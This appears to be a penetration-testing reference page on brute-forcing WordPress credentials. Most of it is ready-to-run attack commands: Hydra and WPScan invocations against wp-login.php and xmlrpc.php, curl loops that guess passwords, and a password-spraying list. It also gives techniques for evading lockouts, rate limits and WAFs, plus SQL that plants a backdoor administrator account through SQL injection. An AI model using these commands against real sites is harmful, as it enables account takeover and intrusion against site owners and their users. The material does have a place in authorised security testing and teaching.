Skip to content

Login Brute-Force

Brute-forcing WordPress credentials with a user list (from User Enumeration) is one of the most reliable paths to admin access on the public web. Two attack endpoints; one heavily monitored, one often not:

# wp-login.php - the form-based login (rate-limited on hardened sites)
hydra -L users.txt -P passwords.txt http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' target.com
# xmlrpc.php - the API path (often not rate-limited)
wpscan --url http://target --password-attack xmlrpc -U admin -P passwords.txt -t 20
# Spray (one common password across many users - defeats per-user lockouts)
wpscan --url http://target --password-attack xmlrpc -U users.txt -P single_pass.txt

Success indicator: a confirmed <user>:<password> pair that you can then use to log into wp-admin and proceed to RCE.

WordPress accepts authentication on (at least) two endpoints. They have substantially different operational characteristics:

Aspectwp-login.phpxmlrpc.php
ProtocolHTML form POSTXML-RPC method call
Rate limiting (default)None core; many plugins add itNone core; some plugins add it
CAPTCHA supportCommon via pluginsRare
Audit loggingHeavily logged on hardened sitesLess commonly monitored
Speed per requestSlow (synchronous WP bootstrap)Slightly faster (different bootstrap path)
Speed per HTTP request1 attemptUp to ~150 via system.multicall
Often disabled?No (would break user login)Yes (via Wordfence, iThemes, etc.)
Differential error responsesYes (user-exists vs password-wrong) by defaultYes (faultString)

The operational implication: when both endpoints are reachable, xmlrpc.php is usually the right choice. When only wp-login.php is reachable (xmlrpc disabled), use the form path but accept the noise.

The login form submits to wp-login.php itself with these parameters:

POST /wp-login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

Key fields:

  • log - username
  • pwd - password
  • wp-submit - the submit button name (Log In)
  • redirect_to - where to send the user after success
  • testcookie - set by WordPress to check the browser accepts cookies; must be 1

A successful login returns a 302 redirect to redirect_to (default /wp-admin/) with wordpress_logged_in_* cookies set. A failed login returns a 200 OK with the login form re-rendered and an error message.

Differential markers in the response body:

Body containsMeaning
is not registered on this siteUsername doesn’t exist
The password you entered for the usernameUsername exists, password wrong
is incorrect (alone, in a generic error)Hardened error - could be either
(No login form, no error)Login succeeded - the 302 redirect happened

For Hydra and similar tools, the failure marker is is incorrect:

Terminal window
hydra -L users.txt -P passwords.txt -V \
http-post-form 'target.com:/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

-V shows each attempt. The :F= parameter is the failure marker - Hydra treats any response not containing this string as success. Tune the marker to whatever error string the target actually returns; some hardened installs return generic password you entered is incorrect for both invalid-user and invalid-password cases.

WordPress sets a wordpress_test_cookie on initial visit and the form submission can optionally include nonces. For modern WordPress, basic form submission without these still works - the test cookie is set client-side and the form post-back includes it via the user’s browser, but bare-metal HTTP clients can submit without it.

When a target’s wp-login.php is hardened with a custom plugin (e.g., requires a CAPTCHA, a hidden field timestamp, or a custom nonce), the simple Hydra approach fails. Workarounds:

  • Burp Intruder with session-handling rules that fetch the form first, extract nonces, and reuse them
  • A custom script using requests (Python) or similar that handles the session

For most targets without those defenses, the simple form submission works.

The xmlrpc.php brute-force uses wp.getUsersBlogs as the credential-validation primitive. See XML-RPC abuse for the protocol details.

Terminal window
wpscan --password-attack xmlrpc \
--url http://target/ \
-U admin,david,roger \
-P /usr/share/wordlists/rockyou.txt \
-t 20

Key flags:

  • --password-attack xmlrpc - use the xmlrpc.php path
  • --password-attack wp-login - use wp-login.php (default for older WPScan versions)
  • -U user1,user2,... - username list (comma-separated or @filename)
  • -P /path/to/wordlist - password wordlist
  • -t 20 - threads (default 5; up to 30 is reasonable; higher invites rate-limit responses)

Output for a hit:

[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - admin / sunshine1
Trying david / Spring2016 Time: 00:00:01 <==========> (474 / 474) 100.00% Time: 00:00:01
[i] Valid Combinations Found:
| Username: admin, Password: sunshine1

Without WPScan, plain curl in a loop:

Terminal window
USERS="admin david roger erika"
while read pass; do
for user in $USERS; do
resp=$(curl -s -X POST -d "<?xml version='1.0'?>
<methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value>${user}</value></param><param><value>${pass}</value></param></params>
</methodCall>" http://target/xmlrpc.php)
if echo "$resp" | grep -q '<isAdmin>'; then
echo "FOUND: $user / $pass"
fi
done
done < passwords.txt

This is slower than WPScan but works when WPScan isn’t available or when you need to customize the payload (e.g., to bypass a WAF that’s specifically pattern-matching WPScan).

To submit hundreds of attempts in one HTTP request, build a multicall payload (see XML-RPC abuse for the structure). WPScan does this internally when threads are high and the wordlist is large; manually, it’s a bigger payload to construct.

Practical caveat: WordPress 4.4+ limits multicall to ~150 calls per request. Older installs accept much more.

Hydra supports HTTP form auth directly:

Terminal window
hydra -L users.txt -P passwords.txt -t 4 -f -V \
target.com http-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

Flags:

  • -L username file (lowercase = list)
  • -P password file
  • -t 4 four parallel threads
  • -f stop on first found credential
  • -V verbose

For HTTPS targets:

Terminal window
hydra -L users.txt -P passwords.txt -t 4 -f -V \
target.com https-post-form \
'/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

The ^USER^ and ^PASS^ placeholders are Hydra’s variable syntax.

Brute-force with many passwords per user invites per-user account lockout. Spray with one password across many users instead:

Terminal window
wpscan --url http://target/ --password-attack xmlrpc \
-U users.txt -P single_password.txt -t 10

Where single_password.txt contains exactly one line like Spring2024!. The result: each user gets exactly one login attempt. No per-user lockout trips.

Common patterns to spray, in order of historical success rate:

Welcome1
Welcome123
Spring2024
Spring2024!
Summer2024!
Password1
Password123!
<CompanyName>2024
<CompanyName>2024!
<CompanyName>123

Replace <CompanyName> with the target’s name. Many targets use a “default new-user password” that’s a hardcoded template; the company name is almost always part of it.

When a spray succeeds, the user whose password happens to be the spray target may be an unexpected role (Subscriber, Editor) - not always the admin. But any logged-in identity is useful - Authors and above can upload media, Editors can edit posts, and the admin-to-RCE chain sometimes works from non-admin roles too.

To evade lockouts that are based on per-source-IP attempt rate:

Terminal window
for user in $(cat users.txt); do
sleep $((RANDOM % 30 + 30)) # 30-60s between attempts
curl -s -X POST -d "<?xml version='1.0'?>
<methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value>${user}</value></param><param><value>Spring2024!</value></param></params>
</methodCall>" http://target/xmlrpc.php | grep -qE '<isAdmin>' && echo "FOUND: $user"
done

Trade time for stealth. A 30-60s delay between attempts looks like normal user activity in the source IP’s connection log.

Common lockout configurations and how to handle them:

Per-user lockout (e.g., iThemes Security default: 5 failed attempts in 5 minutes → lock for 15 minutes)

Section titled “Per-user lockout (e.g., iThemes Security default: 5 failed attempts in 5 minutes → lock for 15 minutes)”
  • Spray rather than brute-force (one attempt per user, no lockout)
  • If brute-forcing one specific user, throttle to under 5 attempts per 5 minutes
  • Switch users frequently - never hammer one account

Per-IP lockout (e.g., Wordfence “Block IP for 5 minutes after 20 failed login attempts”)

Section titled “Per-IP lockout (e.g., Wordfence “Block IP for 5 minutes after 20 failed login attempts”)”
  • Time-spread (spread attempts over the lockout window)
  • Use multiple source IPs (proxies, cloud rotating IPs)
  • Switch to xmlrpc.php if the lockout is wp-login.php-only (and vice versa)
  • Some plugins (Google reCAPTCHA, hCaptcha integrated plugins) add a CAPTCHA after the first failure. Manual completion of CAPTCHA defeats brute-force entirely for that source.
  • Switch to xmlrpc.php which typically lacks CAPTCHA integration.
  • Pattern detection on request bodies (e.g., requests with pwd= and wp-submit= are flagged)
  • Often catches WPScan’s default user-agent
  • Workarounds: change user-agent (wpscan --user-agent "..."), randomize request timing, slow down

Once a brute-force result claims success, verify by attempting an actual login:

Terminal window
# Get the auth cookie
curl -i -c cookies.txt -X POST -d 'log=admin&pwd=sunshine1&wp-submit=Log+In' \
http://target/wp-login.php
# Check for wordpress_logged_in_* cookie in the response
grep wordpress_logged_in cookies.txt
target.com FALSE / TRUE 0 wordpress_logged_in_<hash> admin|1234567890|...|...

If wordpress_logged_in_<hash> is set, login succeeded. Use the cookies file with subsequent curl calls:

Terminal window
curl -b cookies.txt http://target/wp-admin/
# Should return the dashboard HTML, not a redirect to wp-login.php

If the response is a redirect to wp-login.php, the brute-force “success” was a false positive - sometimes happens with hardened error pages that fool Hydra’s failure marker.

When you have SQL-injection access to the WP database (via a vulnerable plugin’s SQLi - see Vulnerable Plugins or SQL Injection cluster), you can skip the brute-force and just insert an admin user:

-- WordPress password hash format: phpass-portable, ~60 chars
-- The hash below is for "Password123!"
INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, display_name)
VALUES ('attacker', '$P$BFqBfvWtsHHGzVKVR2KvI6Js2gMQ4Q.', '[email protected]', NOW(), 'attacker');
-- Get the user ID
-- Then grant admin role:
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
VALUES (LAST_INSERT_ID(), 'wp_user_level', '10');

wp_capabilities with the serialized PHP value a:1:{s:13:"administrator";b:1;} makes the user an administrator. The wp_user_level 10 is the legacy numeric privilege level (10 = administrator).

After this, log in with attacker:Password123!. From there, the admin-to-RCE chain.

To generate a phpass hash for an arbitrary password:

Terminal window
# Using a small PHP script
echo "<?php require 'wp-includes/class-phpass.php'; \$hasher = new PasswordHash(8, true); echo \$hasher->HashPassword('MyPassword') . PHP_EOL;" > hash.php
php hash.php
# Or with Python phpass library
python3 -c "from phpass import PasswordHash; ph = PasswordHash(8, True); print(ph.hash_password(b'MyPassword').decode())"
TaskCommand
Hydra wp-loginhydra -L users -P pass target http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
WPScan xmlrpcwpscan --url URL --password-attack xmlrpc -U USERS -P PASS -t 20
WPScan wp-loginwpscan --url URL --password-attack wp-login -U USERS -P PASS -t 20
Single-pass spraywpscan --url URL --password-attack xmlrpc -U USERS -P single.txt
Manual xmlrpc loopbash with curl + wp.getUsersBlogs body
Verify credscurl -i -c cookies.txt -X POST -d 'log=USER&pwd=PASS&wp-submit=Log+In' http://target/wp-login.php
Check verified logincurl -b cookies.txt http://target/wp-admin/ (expect dashboard, not redirect)
Time-spread spraybash loop with sleep $((RANDOM % 30 + 30))
Generate phpass hashphp -r "require 'class-phpass.php'; \$h=new PasswordHash(8,true); echo \$h->HashPassword('pw');"